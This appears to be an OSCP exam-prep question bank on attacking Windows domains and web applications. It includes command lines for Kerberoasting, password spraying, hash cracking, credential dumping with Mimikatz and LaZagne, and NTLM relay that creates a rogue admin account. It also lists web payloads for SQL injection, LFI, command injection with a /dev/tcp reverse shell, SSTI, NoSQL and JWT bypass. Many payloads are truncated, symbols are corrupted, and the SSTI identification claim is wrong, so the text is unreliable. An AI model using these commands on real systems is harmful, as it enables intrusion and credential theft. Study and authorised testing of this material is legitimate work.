Complete Kerberoasting workflow: Step 1 — find accounts with SPNs (any domain user can query): 'GetUserSPNs.py corp.local/user:pass -dc-ip DC_IP'. Step 2 — request tickets: add '-request' flag: 'GetUserSPNs.py corp.local/user:pass -dc-ip DC_IP -request -outputfile hashes.txt'. Step 3 — crack offline: 'hashcat -m 13100 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/dive.rule'. Step 4 — if cracked, check privileges: 'net user svcaccount /domain' — is it in high-privilege group? Step 5 — use credentials for lateral movement. Prioritize: crack SPNs associated with high-privilege accounts first. Rubeus from Windows: 'Rubeus.exe kerberoast /format:hashcat /outfile:kerberoast.txt'. Mitigation: use long random passwords (30+ chars) for service accounts, use group managed service accounts (gMSA). Example: GetUserSPNs returns MSSQLSvc and HTTPSvc SPNs. Hashcat cracks MSSQLSvc password 'Sql2019!' in 2 minutes. MSSQLSvc is member of Domain Admins. Full domain compromise from Kerberoast.

Q127 QUESTION

What is Windows internal network discovery post-exploitation?

ANSWER

Network enumeration from compromised Windows host: Routing table: 'route print' — reveals additional subnets, key for identifying internal networks to pivot into. ARP cache: 'arp -a' — recently communicated hosts, quick active host list without scanning. Domain controller: 'nltest /dclist:domain.local', 'nslookup -type=SRV _ldap._tcp.dc._msdcs.domain.local'. Network shares: 'net view' and 'net view /domain'. Domain computers: 'net group "Domain Computers" /domain'. PowerShell ping sweep for subnet: '1..254 | % { if(Test-Connection -ComputerName "192.168.x.\$_" -Count 1 -Quiet){"192.168.x.\$_ UP"} }'. Active connections: 'netstat -an | findstr ESTABLISHED'. DNS zone info: 'nslookup -type=any domain.local'. Spray discovered hosts: 'crackmapexec smb 192.168.x.0/24 -u admin -p pass'. Every newly discovered host is potential lateral movement target — always enumerate discovered subnets completely.

7 Password Attacks

18 Qs

Q128 QUESTION

What is password spraying vs brute force in OSCP?

ANSWER

Password spraying: try ONE password against MANY accounts — avoids account lockout. Brute force: try MANY passwords against ONE account — often triggers lockout. OSCP approach: always spray first. Spray tools: CrackMapExec ('crackmapexec smb 192.168.x.x -u users.txt -p "Password123" --continue-on-success'), Kerbrute ('kerbrute passwordspray -d corp.local users.txt "Password123"]'). Common spray passwords: 'Password123', 'Welcome1', 'Company@2023', 'Spring2024', 'Summer2024'. First find password policy: 'net accounts /domain' (minimum length, lockout threshold). If 3 attempts before lockout □ spray only 2 per hour. Example: 200 user accounts found □ spray 'Password123' □ 8 valid credentials returned □ progress without triggering lockout.

Q129 QUESTION

What is credential harvesting from Windows?

ANSWER

Windows credential sources: (1) LSASS memory — Mimikatz 'sekurlsa:logonpasswords' (admin required); (2) SAM database — 'reg save HKLM\SAM sam' + SYSTEM hive □ secretdump; (3) NTDS.dit (DC) — 'ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q' □ secretdump; (4) Credential Manager — 'cmdkey /list', Mimikatz 'vault::list'; (5) DPAPI — browser passwords, Outlook credentials; (6) PowerShell history, config files, scripts. LaZagne: 'lazagne.exe all' — extracts passwords from 30+ applications. Example: Compromise IIS web server □ upload LaZagne □ run □ outputs MySQL password from PHP config, Firefox saved passwords for user, and Outlook credentials — pivot to three more systems.

Q130 QUESTION

What is Hashcat in OSCP context?

ANSWER

Hashcat offline password cracking using GPU acceleration. Common hash modes: -m 1000 (NTLM — Windows), -m 1800 (sha512crypt — Linux \$6\$), -m 13100 (Kerberoast), -m 18200 (AS-REP Roast), -m 0 (MD5), -m 100 (SHA1), -m 3200 (bcrypt). Attack modes: -a 0 (dictionary), -a 3 (brute force mask), -a 6 (wordlist+mask). Common wordlists: /usr/share/wordlists/rockyou.txt (14M passwords), SecLists. Rules: /usr/share/hashcat/rules/dive.rule (extensive transformations). Example: Kerberoast hash □ 'hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/dive.rule' □ service account password cracked □ check group memberships □ Domain Admin path found.

Q131 QUESTION

What is Hydra for online attacks?

ANSWER

Hydra brute forces online authentication services. SSH: 'hydra -l admin -P rockyou.txt ssh://192.168.x.x -t 4'. HTTP POST: 'hydra -l admin -P rockyou.txt 192.168.x.x http-post-form "/login:username=^USER^&password;=^PASS^:Invalid" -t 10'. FTP: 'hydra -l ftp -P rockyou.txt ftp://192.168.x.x'. RDP: 'hydra -l administrator -P passwords.txt rdp://192.168.x.x'. Multiple users: '-L users.txt -P passwords.txt'. OSCP caution: brute force is noisy — use only when you have a specific target user or small password list. Prefer spraying. Example: Find admin panel with known username 'admin' but unknown password □ 'hydra -l admin -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt http-post-form' □ password found in 2 minutes.

Q132 QUESTION

What is John the Ripper in OSCP?

ANSWER

John the Ripper cracks password hashes with wordlist or brute force. Format auto-detection: 'john hash.txt --wordlist=rockyou.txt'. Specific format: 'john hash.txt --format=NT --wordlist=rockyou.txt'. Linux shadow file: 'unshadow /etc/passwd /etc/shadow > combined.txt && john combined.txt --wordlist=rockyou.txt'. Show cracked: 'john --show hash.txt'. SSH key with passphrase: 'ssh2john id_rsa > id_rsa.hash && john id_rsa.hash --wordlist=rockyou.txt'. Zip password: 'zip2john file.zip > zip.hash && john zip.hash'. PDF password: 'pdf2john file.pdf > pdf.hash'. Example: Find /etc/shadow readable & copy shadow file & john with rockyou & cracks 'michael:sunshine' and 'admin:admin123' & SSH with cracked credentials & gain access to two more users.

Q133 QUESTION

What is password reuse in OSCP?

ANSWER

Password reuse is one of the most common OSCP privilege escalation paths. Strategy: maintain a master credentials file with all found credentials & try every credential against every service on every machine. Found credentials from: config files, database dumps, memory dumps, cracked hashes, cleartext files, notes, previous machines. Try against: SSH, RDP, WinRM, SMB, FTP, HTTP admin panels, database ports (3306, 1433, 5432), SNMP. Tool: CrackMapExec sprays credentials across subnet automatically. Example: Web app database config has 'admin:SuperSecure2021' & try SSH & fails & try RDP & fails & try WinRM & works & have admin access on Windows machine & same password used for local admin & machine compromised.

Q134 QUESTION

What are default credentials in OSCP?

ANSWER

Default credentials are the quickest wins in OSCP. Always try: admin/admin, admin/password, admin/ (blank), root/root, root/toor (Kali default). Service defaults: Tomcat: tomcat/tomcat, tomcat/s3cret; Jenkins: admin/admin or admin/password; MySQL: root/ (blank); FTP: anonymous/anonymous or anonymous/email; SNMP: public, private; RouterOS: admin/ (blank); Cisco: cisco/cisco or enable password cisco. Databases: MySQL root with no password, MSSQL sa with blank password. Check application documentation for specific defaults. Example: Gobuster finds /manager/html & Tomcat manager & try tomcat/tomcat & authenticated & deploy malicious WAR file & shell as tomcat user & check sudo & 'ALL=(ALL) NOPASSWD: ALL' & root.

Q135 QUESTION

What is DPAPI credential extraction?

ANSWER

DPAPI (Data Protection API) encrypts sensitive Windows data including browser passwords, RDP credentials, WiFi keys. Locations: '%APPDATA%\Microsoft\Protect\[SID]\' (master keys), '%APPDATA%\Microsoft\Credentials\' (encrypted blobs). Mimikatz: 'sekurlsa::dpapi' — dump DPAPI master keys from LSASS (requires admin). Decrypt offline: extract master keys and credential blobs & transfer to Kali & decrypt with SharpDPAPI or dpapi.py. Browser passwords: SharpDPAPI 'triage' extracts Chrome/Edge/Firefox saved passwords. Example: Compromise domain user & Mimikatz dumps DPAPI master keys & extract Chrome credential blob from %APPDATA% & decrypt & reveals IT admin's Gmail password which is also used for RDP to sensitive server — credential pivot.

Q136 QUESTION

What is password policy enumeration in OSCP?

ANSWER

Password policy determines brute force and spray limits. Windows domain: 'net accounts /domain' (min password length, lockout threshold, lockout duration, observation window). LDAP: 'crackmapexec smb DC_IP -u user -p pass --pass-pol'. Fine-Grained Password Policies (FGPP): apply different policies to specific groups — check with PowerView 'Get-DomainPSOAppliedTo'. Linux: /etc/login.defs (PASS_MIN_LEN, PASS_MAX_DAYS), pam_pwquality.conf. OSCP strategy: if lockout after 3 attempts □ spray max 2 passwords per hour □ be patient. No lockout □ spray aggressively. Example: 'net accounts /domain' shows 'Lockout threshold: 5' and 'Lockout duration: 30 minutes' □ safe to spray 4 passwords per 30-minute window □ systematic spray campaign.

Q137 QUESTION

What is credential stuffing in OSCP context?

ANSWER

Credential stuffing tests breached credentials from other services against target systems. OSCP context: search for the target company/user in public breach databases (HaveIBeenPwned, in exams this is simulated). Techniques: database dump from one compromised service (e.g., internal MySQL) contains credentials □ test against other services (SSH, RDP, VPN). Master credentials list: maintain running list of all credentials found during engagement □ try each on every service. Spray variants: if user 'jsmith' has password 'Winter2019' □ try 'Winter2020', 'Winter2021', 'Summer2019', 'jsmith2019', 'Smith2019'. Example: SQL injection on web app □ dump users table □ 20 user:password pairs □ spray all against SSH, RDP, SMB, WinRM □ 3 credentials work on SSH □ access 3 machines.

Q138 QUESTION

What is Kerbrute for Active Directory attacks?

ANSWER

Kerbrute performs fast username enumeration and password spraying using Kerberos pre-authentication. Commands: 'kerbrute userenum -d corp.local --dc DC_IP users.txt' (enumerate valid users — no lockout risk), 'kerbrute passwordspray -d corp.local --dc DC_IP users.txt "Password123"' (password spray). Why Kerberos spray: generates less logs than NTLM spray, faster, valid user check doesn't trigger lockout. Username enumeration: use SecLists username wordlists — 'kerbrute userenum -d corp.local jsmith.txt' returns valid accounts. Example: kerbrute userenum with top 1000 names □ finds 45 valid domain users □ spray 'Company2023!' □ 3 successful authentications □ domain user access □ BloodHound □ AD compromise.

Q139 QUESTION

What is credential extraction from browser?

ANSWER

Browser credential extraction from compromised Windows hosts. Chrome/Edge: credentials encrypted with DPAPI □ need DPAPI keys. SharpChrome: 'SharpChrome.exe logins' — extracts Chrome passwords if running as user who saved them. LaZagne: 'lazagne.exe browsers' — extracts from Chrome, Firefox, Edge, Opera, IE. Mimikatz DPAPI: 'sekurlsa::dpapi' + decrypt blobs. Firefox: 'LaZagne.exe browsers' or manually: %APPDATA%\Mozilla\Firefox\Profiles □ key4.db + logins.json □ decrypt. Manual Chrome: %LOCALAPPDATA%\Google\Chrome\User Data\Default □ Login Data (SQLite) □ decrypt with DPAPI. Example: Compromise user workstation □ LaZagne.exe browsers □ exports 15 saved passwords including 'admin:CorporateVPN2023' □ test on VPN, AD □ domain admin password reused □ full compromise.

Q140 QUESTION

What are common service default credentials in OSCP?

ANSWER

Default credentials for common OSCP services: Tomcat: admin/admin, tomcat/tomcat, tomcat/s3cret, manager/manager. Jenkins: admin/admin, admin/password. MySQL: root/ (blank), root/root. MSSQL: sa/ (blank), sa/sa. PostgreSQL: postgres/postgres, postgres/ (blank). FTP: anonymous/anonymous, ftp/ftp. SNMP: public (community string), private. Elasticsearch: admin/admin (older versions). Kibana: elastic/changeme. Redis: no auth by default (just 'redis-cli -h IP'). MongoDB: no auth by default. GitLab: root/5iveL!fe (older). phpMyAdmin: root/ (blank) if MySQL root has no password. Grafana: admin/admin. OSCP tip: try defaults before any complex attack — works surprisingly often.

Q141 QUESTION

What is ntlmrelayx for NTLM relay attacks?

ANSWER

ntlmrelayx relays captured NTLM authentication to other services. Setup: (1) Disable SMB and HTTP in Responder.conf (don't want Responder serving — just capturing); (2) Run Responder for poisoning; (3) Run ntlmrelayx for relaying: 'ntlmrelayx.py -tf targets.txt -smb2support -l /tmp/loot'. SMB signing disabled required (check with: 'crackmapexec smb 192.168.x.0/24 --gen-relay-list targets.txt'). Actions on successful relay: dump SAM (-l flag), execute commands (-c flag), socks (add to Proxychains). Example: ntlmrelayx with '-c "net user hacker Password123 /add && net localgroup administrators hacker /add"' □ captured NTLM credential relayed to target □ executes command as relayed user □ new admin account created.

Q142 QUESTION

What is hashcat rule-based password cracking?

ANSWER

Hashcat rules apply transformations to wordlist entries to generate password variations. Common rules: /usr/share/hashcat/rules/best64.rule (64 common transformations), /usr/share/hashcat/rules/dive.rule (extensive — millions of variations), /usr/share/hashcat/rules/d3ad0ne.rule (common password patterns). Rule syntax examples: 'l' = lowercase, 'u' = uppercase, 'c' = capitalize first, '\$l' = append l, '^P' = prepend P, 'so0' = substitute o with 0. Custom rule file: write one rule per line. Command: 'hashcat -m 1000 hashes.txt rockyou.txt -r best64.rule'. Multiple rules: 'hashcat -m 1000 hashes.txt rockyou.txt -r best64.rule -r dive.rule'. Why rules beat large wordlists: company2019 □ company2019!, Company2019, COMPANY2019, c0mpany2019 — all generated from one rule set. Example: NT hash not cracked with rockyou alone. Add best64.rule — 'Summer2021!' found — rockyou contains 'summer2021', best64 capitalizes and appends punctuation.

Q143 QUESTION

What is pass-the-hash for local accounts in OSCP?

ANSWER

Local administrator hashes are often reused across machines in the same network — use PtH to move laterally. Obtain hash: secretdump locally ('reg save HKLM\SAM' then secretdump LOCAL) or remotely ('impacket-secretdump admin:pass@IP'). Local admin hash: under 'Dumping local SAM hashes' section in secretdump output. Test across network: 'crackmapexec smb 192.168.x.0/24 -u administrator -H NT_HASH --local-auth'. '--local-auth' flag tests as local (not domain) admin. Machines with same image: corporate environments often build workstations from same base image — identical local admin credentials. Spray and pivot: every machine returning Pwn3d! is accessible. LAPS: Local Administrator Password Solution randomizes local admin passwords — if LAPS deployed, PtH for local admin does not work across machines. Check LAPS: 'Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd' — if attribute exists, LAPS deployed.

Q144 QUESTION

What is online hash cracking and when to use it?

ANSWER

Online hash cracking services identify pre-cracked hashes instantly from massive databases. Services: crackstation.net (free, large database), hashes.com, md5decrypt.net. When to use: NTLM, MD5, SHA1 hashes from web app or database. How: paste hash into website — if in rainbow table, plaintext returned immediately — no compute time. Limitation: complex passwords with salts not found. Bcrypt: too slow for online databases, use hashcat locally. NetNTLMv2 (NTLMv2): cannot be used with online crackers — crack with hashcat. MD5(salt+pass): online crackers do not know salt — crack locally. OSCP exam: you may not have internet access for online crackers — crack locally with hashcat and rockyou. Offline capability: 'hashcat -m 0 md5_hash.txt rockyou.txt' for MD5. Always have hashcat configured and tested before exam. rockyou.txt at /usr/share/wordlists/rockyou.txt — extract if gzipped first: 'gunzip /usr/share/wordlists/rockyou.txt.gz'.

Q145 QUESTION

What is CrackMapExec for Windows network attacks?

ANSWER

CrackMapExec (CME) or its successor NetExec automates Windows network attacks at scale. Install: 'apt install crackmapexec' or 'pip3 install crackmapexec'. Discovery: 'crackmapexec smb 192.168.x.0/24'. Credential validation: 'crackmapexec smb TARGET -u user -p pass'. Green plus means valid, Pwn3d means local admin. PtH: 'crackmapexec smb TARGET -u user -H NT_HASH'. Enumerate: '--shares' (list shares), '--users' (domain users), '--groups', '--computers'. Execute commands: '-x "cmd"' (cmd.exe) or '-X "PS"' (PowerShell). Dump hashes: '--sam' (local), '--lsa' (cached domain). WinRM: 'crackmapexec winrm TARGET -u user -p pass'. MSSQL: 'crackmapexec mssql TARGET -u user -p pass -q "SELECT @@version"'. SMB signing check: 'crackmapexec smb 192.168.x.0/24 --gen-relay-list relay_targets.txt'. OSCP exam use: spray credentials across all discovered hosts in seconds, identify all accessible machines, dump credentials from accessible machines for further expansion.

8 Web Application Exploitation

19 Qs

Q146 QUESTION

What is SQL injection exploitation in OSCP?

ANSWER

SQL injection methodology: (1) Identify injectable parameter — single quote triggers error or different behavior; (2) Determine database type — MySQL (INFORMATION_SCHEMA), MSSQL (xp_cmdshell), Oracle (dual table), PostgreSQL (pg_sleep); (3) Extract data — UNION SELECT for data retrieval; (4) Escalate — MSSQL xp_cmdshell for OS command execution, MySQL INTO OUTFILE to write files. sqlmap: 'sqlmap -u "http://target/page.php?id=1" --dbs --batch'. With cookies: 'sqlmap -u "http://target/page.php" --cookie="PHPSESSID=abc" -p id --dbs'. MSSQL RCE: '--os-shell' if xp_cmdshell available. Example: 'sqlmap -u "http://target.htb/items.php?id=1" --os-shell --technique=BEUST' □ enables xp_cmdshell □ OS shell as mssql service account □ SelfImpersonatePrivilege □ PrintSpoofer □ SYSTEM.

Q147 QUESTION

What is file upload exploitation in OSCP?

ANSWER

File upload vulnerabilities allow code execution via uploaded malicious files. Bypass techniques: (1) Extension bypass — PHP: .php3, .php4, .php5, .phtml, .phar; ASP.NET: .aspx, .ashx, .asmx; (2) Content-type bypass — set Content-Type: image/jpeg while uploading .php; (3) Null byte injection — file.php%00.jpg; (4) Double extension — file.php.jpg; (5) Case variation — file.PHP. Simple webshell: " — access '/uploads/shell.php?cmd=id'. ASPX webshell: msfvenom or manual ASPX code. Find upload destination: check source code, gobuster for upload paths, try '/uploads/', '/files/', '/images/'. Example: Upload form only checks extension □ rename shell.php to shell.php.jpg □ upload □ server stores as-is □ request /uploads/shell.php.jpg □ PHP executed □ command execution.

Q148 QUESTION

What is LFI/RFI exploitation in OSCP?

ANSWER

Local File Inclusion includes files from the server's filesystem. Common parameters: ?file=, ?page=, ?path=, ?include=, ?template=. Payloads: '../..../etc/passwd', '....//....//etc/passwd' (if ../ filtered). Interesting Linux files: /etc/passwd, /etc/shadow (if world-readable), /var/log/apache2/access.log, /proc/self/environ, /root/.ssh/id_rsa. Log poisoning □ RCE: inject PHP in User-Agent (" □ include access.log □ execute commands. PHP filter read: 'php://filter/convert.base64-encode/resource=/etc/passwd' □ base64 of file content. PHP input RCE: '?file=php://input' with POST data ". Example: find LFI in ?page= parameter □ log poisoning via User-Agent □ include /var/log/apache2/access.log □ RCE □ reverse shell.

Q149 QUESTION

What is command injection in OSCP?

ANSWER

Command injection executes OS commands via vulnerable application input. Test payloads: ';id', '|id', '&&id;', '"id"', '\$(id)', '%0aid'. URL encoded: '%3Bid', '%7Cid'. Blind command injection (no output): time-based ('sleep 5') or out-of-band (DNS/HTTP callback). Burp Collaborator: use collaborator URL — if server makes DNS request, command injection confirmed. Remediation bypass: if spaces filtered, use \${IFS} or {cat,/etc/passwd} or 'cat& /dev/tcp/IP/4444 0>&1' □ reverse shell as www-data.

Q150 QUESTION

What is XXE (XML External Entity) in OSCP?

ANSWER

XXE injection exploits XML parsers that process external entity references. Basic payload: `]>&xxe;` ▢ reads `/etc/passwd`. SSRF via XXE: `"` ▢ AWS metadata access. Blind XXE with OOB: `' %xxe;` ▢ file contents sent to attacker server. Find XXE: any application accepting XML (SOAP APIs, SVG upload, docx/xlsx upload, sitemap.xml). Example: Upload SVG file ▢ SVG uses XML ▢ inject XXE payload reading `/etc/passwd` ▢ server renders SVG ▢ `/etc/passwd` contents returned in image response ▢ find SSH keys ▢ log in.

Q151 QUESTION

What is SSRF (Server-Side Request Forgery) in OSCP?

ANSWER

SSRF makes the server fetch attacker-controlled URLs — access internal resources. Test: replace URL parameter with `http://127.0.0.1` or `http://localhost` — if different response, SSRF likely. Internal network scan: iterate through `192.168.x.1-254` to discover internal hosts. AWS IMDS: `'http://169.254.169.254/latest/meta-data/iam/security-credentials/'` ▢ steal IAM credentials. Filter bypass: `http://127.0.0.1` blocked ▢ try `http://0.0.0.0`, `http://[::1]`, `http://0177.0.0.1` (octal), `http://2130706433` (decimal IP). Example: API parameter `'webhook_url'` ▢ set to `'http://127.0.0.1:8080/admin'` ▢ application fetches admin panel (accessible only from localhost) ▢ admin panel returned in response ▢ access internal admin functionality.

Q152 QUESTION

What is WordPress exploitation in OSCP?

ANSWER

WordPress exploitation path: wpscan enumeration ▢ version/plugin CVE ▢ authenticated or unauthenticated RCE. wpscan: `'wpscan --url http://target.com --enumerate p,u,t,cb --api-token [API_TOKEN]'`. Find credentials: admin page (`/wp-login.php`), XML-RPC brute force (`'wpscan --url http://target.com --usernames admin --passwords rockyou.txt'`). Authenticated RCE paths: (1) Theme editor — edit `404.php` with PHP webshell; (2) Plugin upload — upload malicious plugin ZIP; (3) Vulnerable plugin RCE (searchsploit plugin name). Example: wpscan finds admin user and plugin 'Mail Masta 1.0' ▢ searchsploit 'mail masta' ▢ LFI vulnerability ▢ read `wp-config.php` ▢ get DB password ▢ same password for admin ▢ log in ▢ theme editor ▢ add webshell to `404.php` ▢ shell as `www-data`.

Q153 QUESTION

What is Burp Suite usage in OSCP?

ANSWER

Burp Suite is essential for OSCP web application testing. Key features: Proxy (intercept/modify all HTTP/S traffic), Repeater (resend modified requests), Intruder (brute force/fuzzing — community edition rate limited), Decoder (encode/decode payloads), Comparer (diff responses). OSCP workflow: (1) Set browser proxy to `127.0.0.1:8080`; (2) Browse application — all requests captured; (3) Find interesting requests — right-click 'Send to Repeater'; (4) Modify parameters — test for vulnerabilities; (5) Intruder for fuzzing file extensions, username lists. Tip: turn intercept OFF for normal browsing, ON when testing specific requests. Example: Login request intercepted ▢ modify POST body ▢ test SQL injection in username field ▢ `"admin' OR 1=1--"` ▢ response shows admin panel — authentication bypass.

Q154 QUESTION

What is directory traversal exploitation in OSCP?

ANSWER

Directory traversal reads arbitrary files outside web root. Basic: `'../../etc/passwd'`. Encoded: `'%2e%2e%2f'` (URL), `'%252e%252e%252f'` (double-encoded). Windows targets: `'..\..\Windows\win.ini'`, `'..\..\Windows\System32\drivers\etc\hosts'`. Beyond `/etc/passwd` targets for OSCP: SSH keys (`/home/user/.ssh/id_rsa`), service configs, web app configs (may contain DB passwords), log files, `/proc/self/cmdline`. Burp fuzzer: use SecLists path traversal payloads. DotDotPwn: `'dotdotpwn -m http -h target.com -f /etc/passwd'`. Example: File download endpoint — `'?file=../../etc/passwd'` □ user list revealed □ `'?file=../../home/john/.ssh/id_rsa'` □ RSA key found □ `'chmod 600 id_rsa && ssh -i id_rsa john@target'` □ user shell.

Q155 QUESTION

What is SSTI (Server-Side Template Injection) in OSCP?

ANSWER

SSTI executes code via template engine injection. Detection: inject `'{{7*7}}'` — if response shows 49 not literal `'{{7*7}}'` □ SSTI confirmed. Template engines: Jinja2 (Python/Flask), Twig (PHP), FreeMarker (Java), Velocity (Java), Pebble (Java). Jinja2 RCE: `'{{request.application.__globals__.__builtins__.__import__("os").popen("id").read()}}'`. Twig RCE: `'{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}'`. Identify engine: `'{{7*7}}'` □ 777777 (Jinja2) or 49 (Twig). Tool: tplmap automates SSTI exploitation. Example: Profile name field reflected in email template □ inject `'{{7*7}}'` □ email shows '49' □ Jinja2 SSTI □ RCE payload □ reverse shell as flask app user.

Q156 QUESTION

What is WebSocket security testing in OSCP?

ANSWER

WebSockets provide full-duplex communication — used in modern web applications. Testing: Burp Suite intercepts WebSocket messages (Proxy □ WebSockets history). Vulnerabilities: injection in WebSocket messages (SQLi, command injection, XSS), authentication bypass (WebSocket may not enforce same auth as HTTP), CSRF via WebSocket, information disclosure. Test: intercept WebSocket message in Burp □ modify parameter □ send □ observe response. Example: Chat application uses WebSocket — intercept message `'{to:'user1',msg:'hello'}'` □ change 'to' to 'admin' □ application delivers to admin — messaging unauthorized users. Or: WebSocket command: `'{action:'ping',host:'127.0.0.1'}'` □ change to `'127.0.0.1;id'` □ command injection.

Q157 QUESTION

What is broken authentication exploitation in OSCP web apps?

ANSWER

Authentication bypass techniques: (1) SQL injection in login — `'admin'--'` or `'1'=1`; (2) Default credentials — admin/admin; (3) Username enumeration (different error for valid vs invalid user) + brute force; (4) Weak session tokens — sequential IDs, predictable patterns; (5) Password reset flaws — predictable token, host header injection in reset link; (6) JWT vulnerabilities — algorithm confusion (RS256□HS256), none algorithm, weak secret; (7) HTTP parameter pollution; (8) OAuth misconfigurations. JWT exploitation: decode header □ change 'alg' to 'none' □ remove signature □ server accepts unsigned token. Example: JWT `'...'` with `'alg:RS256'` □ change to `'alg:none'` □ remove signature part □ server accepts □ authenticated as any user.

Q158 QUESTION

What is NoSQL injection in OSCP?

ANSWER

NoSQL injection targets MongoDB, CouchDB, Redis, Cassandra databases. MongoDB authentication bypass: login form sends JSON — inject operator: `username='admin', password={'$ne':'wrongpassword'}` — `$ne` (not equal) to empty string = always true. URL parameter: `?username=admin&password;[$ne]=x'` — automatic conversion to JSON. Burp Suite: change `'password=x'` to `'password[$ne]=x'` in POST body — application sends `{'password': {'$ne': 'x'}}` to MongoDB — matches any password. Blind NoSQL: `?username=admin&password;[$regex]=^a'` — enumerate password character by character. Tools: NoSQLMap, manual testing. Example: Login endpoint sends JSON □ intercept □ change password to `{'$gt':''}` □ greater than empty string always true □ authentication bypass as admin.

Q159 QUESTION

What is PHP deserialization exploitation in OSCP?

ANSWER

PHP `unserialize()` executes code when deserializing untrusted data via magic methods. Vulnerable: `__wakeup()`, `__destruct()`, `__toString()` called automatically during deserialization. Detection: base64-decode cookie/parameter □ starts with 'O:' (PHP serialized object). Exploit: craft malicious serialized object that triggers magic method with controlled data. Tools: `phpggc` (PHP Generic Gadget Chains) — '`phpggc Laravel/RCE7 system id`' generates serialized payload. Example: Cookie `'data=Tzo4...'` (base64 serialized PHP object) □ `phpggc` generates gadget chain for Laravel □ base64 encode □ replace cookie □ server deserializes □ executes 'id' command. Gadget chains depend on frameworks installed — check application for Laravel, Symfony, Yii, CodeIgniter.

Q160 QUESTION

What is OAuth 2.0 exploitation in OSCP web apps?

ANSWER

OAuth 2.0 misconfigurations allow account takeover and unauthorized access. Redirect URI validation: if server doesn't strictly validate `redirect_uri` □ change to attacker domain □ authorization code sent to attacker □ exchange for access token □ account access. State parameter CSRF: if state parameter not validated □ CSRF attack on OAuth flow □ victim's account linked to attacker's. Implicit flow token theft: access token in URL fragment □ reflected XSS steals token. Scope bypass: request more scopes than granted. Example: OAuth login □ intercept authorization request □ change `'redirect_uri=https://app.com/callback'` to `'redirect_uri=https://attacker.com/steal'` □ if accepted □ victim clicks link □ code sent to attacker □ attacker exchanges code for token □ account access without password.

Q161 QUESTION

What is HTTP request smuggling concept in OSCP?

ANSWER

HTTP request smuggling exploits discrepancies between frontend and backend HTTP parsing. CL:TE: frontend uses Content-Length, backend uses Transfer-Encoding. TE:CL: reverse. Exploit: crafted request is interpreted differently by each server — attacker's data is prepended to another user's request — can steal credentials, bypass access controls, poison response caches. Detection: Burp Suite HTTP Request Smuggler extension automates detection. OSCP context: advanced web vulnerability — appears in some machines. Test manually by sending ambiguous requests and looking for timing differences or unexpected responses. Tools: Burp Suite Pro (smuggler extension), manual crafting via Repeater. Example: HRS vulnerability on internal proxy allows prepending `GET /admin` to other users' requests — admin panel responses returned to attacker — authentication bypass without credentials. Less common on OSCP but recognized in harder web machines.

Q162 QUESTION

What is IDOR (Insecure Direct Object Reference) in OSCP web apps?

ANSWER

IDOR allows accessing objects belonging to other users by manipulating identifiers. Detection: any URL or parameter containing a user ID, file ID, account number, or other identifier. Test: change your own user ID to another user's ID in request, check if data is returned. Common locations: profile pages (`/profile?id=123`), file downloads (`/download?file_id=456`), API endpoints (`/api/users/789/data`). Numeric IDs: increment or decrement by 1. GUIDs: harder to guess, but look for other users' GUIDs in responses. Horizontal PrivEsc: access another user's data. Vertical PrivEsc: change role parameter to admin. Burp Suite: use Intruder to iterate over ID range. Example: User profile at `/account?id=1337` shows your account. Change id to 1, 2, 3 — admin account found at id=1 with email address. Password reset using admin email — account takeover. Account takeover leads to admin panel with further exploitation.

Q163 QUESTION

What is XML injection and XPath injection in OSCP?

ANSWER

XML injection modifies XML document structure to alter application behavior. XPath injection: if application queries XML database with XPath — similar to SQL injection. Test: single quote in field — if error, injectable. Authentication bypass: 'admin' OR 1=1 in XPath: 'username: admin' OR '1='1' and password: anything'. Full XPath bypass: 'x' OR name()='username' OR 'x'=y. Data extraction: XPath can extract any XML node value — enumerate structure then dump data. XPATH injection example: login form with XPath query `'//users/user[name/text()="$user" AND password/text()="$pass"]'/role`. Inject: user='admin' OR '1='1' OR 'x'=y AND role/text()='admin' — XPath always true — login as admin. XXE vs XPath: XXE is external entity injection in XML parser (file read), XPath injection is query manipulation in XML database. Both target XML processing but different attack classes.

Q164 QUESTION

What is the Metasploit post-exploitation workflow in OSCP?

ANSWER

Metasploit post-exploitation on your designated one-machine allowance: After gaining Meterpreter session: 'sysinfo' (system details), 'getuid' (current user), 'getpid' (current process). PrivEsc: 'run post/multi/recon/local_exploit_suggester' — lists applicable local exploits. 'getsystem' — attempts automatic privilege escalation (3 methods). If SYSTEM: 'hashdump' — dump local hashes. Gather credentials: 'run post/windows/gather/credentials/credential_collector'. Process migration: 'ps' then 'migrate PID' — move to stable process (migrate to explorer.exe for persistence). Pivoting: 'run autoroute -s 192.168.x.0/24' — route through Meterpreter to internal network, 'use auxiliary/server/socks_proxy' — create SOCKS proxy. Port forward: 'portfwd add -l 3389 -p 3389 -r INTERNAL_IP'. Download files: 'download /path/to/file'. Upload tools: 'upload /local/tool /remote/path'. Background: Ctrl+Z. List sessions: 'sessions -l'. Resume: 'sessions -i ID'. All these count as Metasploit use — save for designated machine.

9 Buffer Overflow Exploitation

14 Qs

Q165 QUESTION

What is buffer overflow and the OSCP approach?

ANSWER

Buffer overflow writes more data to a fixed-size buffer than it can hold, overwriting adjacent memory including the EIP (Instruction Pointer on x86). OSCP buffer overflow: x86 Windows stack-based overflow — linear process tested on THM Buffer Overflow Prep or DVWA. Steps: (1) Fuzzing — find crash point; (2) Offset — exact bytes to EIP; (3) Bad characters — find characters that corrupt payload; (4) Return address — find JMP ESP; (5) Shellcode — generate with msfvenom; (6) Exploit — send full payload. OSCP exam: one buffer overflow machine typically — practice until it takes less than 30 minutes. Tools: Immunity Debugger + Mona plugin, Kali with Python 3 exploit scripts.

Q166 QUESTION

What is the fuzzing phase of buffer overflow?

ANSWER

Fuzzing identifies the approximate buffer size that crashes the application. Python fuzzing script: send increasing buffer sizes (100, 200, 300... bytes) of 'A' characters until application crashes. Example script: 'for i in range(100,10000,100): send("A"*i)' — increase by 100 bytes per attempt. After crash: note approximate crash size (e.g., crashes at 2000 bytes). Immunity Debugger: attach to process, run fuzzer, observe crash — EIP shows 41414141 (AAAA in hex) = buffer overflow. Next step: determine exact offset within that range where EIP is overwritten. OSCP note: use Python 3 scripts — Python 2 is deprecated. Always null-terminate strings where appropriate and handle socket errors gracefully.

Q167 QUESTION

What is the offset calculation phase?

ANSWER

